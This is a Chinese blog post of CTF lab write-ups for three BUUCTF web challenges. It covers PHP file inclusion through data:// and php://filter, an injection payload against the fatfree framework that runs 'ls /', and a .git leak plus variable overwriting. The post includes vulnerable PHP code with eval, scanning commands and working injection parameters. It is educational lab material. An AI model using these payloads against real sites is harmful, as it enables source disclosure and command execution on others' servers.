DASBOOK2

DASBOOK

3、第二章[BJDCTF2020]ZJCTF,不过如此

  • 该关卡使用到的协议有

    • data://:一种用于在 URL 中嵌入数据的特殊协议。它允许你将数据直接包含在 URL 中,而不是通过传统的 HTTP 请求或文件路径来获取数据。这个协议通常用于将小段数据嵌入到网页或应用程序中,以减少额外的网络请求或文件引用。

      • 包含纯文本数据的示例:

        data:text/plain;charset=utf-8,Hello%20World!
        
      • 包含图像数据的示例(Base64 编码):

        data:image/png;base64,iVBORw0KGg...
        
      • 包含 HTML 数据的示例:

        data:text/html;charset=utf-8,<html><body><h1>Hello%20World!</h1></body></html
        
    • php://filter:

      • 用法:

        php://filter/read=convert.base64-encode/resource=example.txt      //读取转换为base64编码的源码
        
  • 实验源码的第一个if条件

    构造语句

    /?text=data:text/plain,I have a dream
    
  • 测试第二个条件

    构造语句

    http://afe06cab-da55-4fc9-8381-afc488187841.node4.buuoj.cn:81/
    ?text=data:text/plain,I have a dream
    &file=php://filter/read=convert.base64-encode/resource=next.php
    

    结果如下

  • 将响应包发送到Decoder解码,解码后的源码如下所示

    <?php
    $id = $_GET['id'];
    $_SESSION['id'] = $id;
    
    function complex($re, $str) {
        return preg_replace(
            '/(' . $re . ')/ei',
            'strtolower("\\1")',
            $str
        );
    }
    
    
    foreach($_GET as $re => $str) {
        echo complex($re, $str). "\n";
    }
    
    function getFlag(){
    	@eval($_GET['cmd']);
    }
    
  • 知道了next.php的源码发现,调用getFlag()后,可以执行一句话木马

    • 查看文件目录

    • 获得flag

  • 对于为什么用\S*

    深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)

4、第二章[HFCTF2021Quals]Unsetme

该关卡是fatfree框架漏洞,从网上大概可以了解一下该漏洞

虎符比赛wp——fat free框架注入漏洞审计学习 - Tlife (hwwg.github.io)

  • 构造payload,并查看文件目录,发现flag

    ?a=a['/']);system('ls /'
    

  • 查看flag

5、2.3.4 案例解析Mark loves cat

  • 进入靶场环境,页面看起来像一个私人博客,然后尝试利用dirsearch目录扫描

    • 扫描命令

      python3 dirsearch.py -u http://6be46d0a-2a29-4705-810e-7cfc644079ac.node4.buuoj.cn:81/ -e * -t 3 -i 200-304
      

      扫描的结果如下:

  • 发现了.git信息泄露,利用Git_Extract工具获得.git文件中的信息

    • 安装工具 git clone https://github.com/gakki429/Git_Extract.git

    • 利用工具获得源码

       python2 git_extract.py http://6be46d0a-2a29-4705-810e-7cfc644079ac.node4.buuoj.cn:81/.git/
      

  • flag文件中没有发现的信息,查看index.php文件中的

    <?php
    
    include 'flag.php';
    
    $yds = "dog";
    $is = "cat";
    $handsome = 'yds';
    
    foreach($_POST as $x => $y){
        $$x = $y;
    }
    /*这是一个foreach循环,用于遍历$_POST数组中的每个元素。在每次循环中,它将键值对中的键赋值给变量$x,并将键值对中的值赋值给与$x同名的变量。换句话说,它会动态创建与$_POST中的每个键名相同的变量,并将其值设置为对应的键值。这可以用来将POST请求中的数据变成变量。*/
    
    foreach($_GET as $x => $y){
        $$x = $$y;
    }
    /*遍历$_GET数组中的元素,将每个元素的键名赋值给与其同名的变量。这也会动态地创建变量。*/
    
    
    foreach($_GET as $x => $y){
        if($_GET['flag'] === $x && $x !== 'flag'){
            exit($handsome);
        }
    }
    /*这个foreach循环用于检查$_GET数组中的元素。它检查是否有一个与$_GET['flag']不同的键名,并且如果找到这样的键名,就会通过exit($handsome)语句来结束脚本执行并输出$handsome的值。这似乎是一种检查请求参数的方式,如果请求中包含了不同于'flag'的键名,脚本会输出$handsome的值。*/
    
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){
        exit($yds);
    }l
    /*这个条件语句检查是否同时不存在$_GET['flag']和$_POST['flag']。如果两者都不存在,那么脚本会通过exit($yds)语句结束执行并输出$yds的值。*/
    
    if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
        exit($is);
    }
    /*这个条件语句检查$_POST['flag']或$_GET['flag']是否等于字符串'flag'。如果是,脚本会通过exit($is)语句结束执行并输出$is的值。*/
    
  • 所以这道题解法有

    • 直接输入yds=flag,这样代码检测不到输入flag,然后直接输出$yds

    • 或者是利用动态变量,is=flag&flag=flag,先创建一个变量,然后再给变量赋值

posted @   凉城厌心  阅读(254)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 【杭电多校比赛记录】2025“钉耙编程”中国大学生算法设计春季联赛(1)
点击右上角即可分享
微信分享提示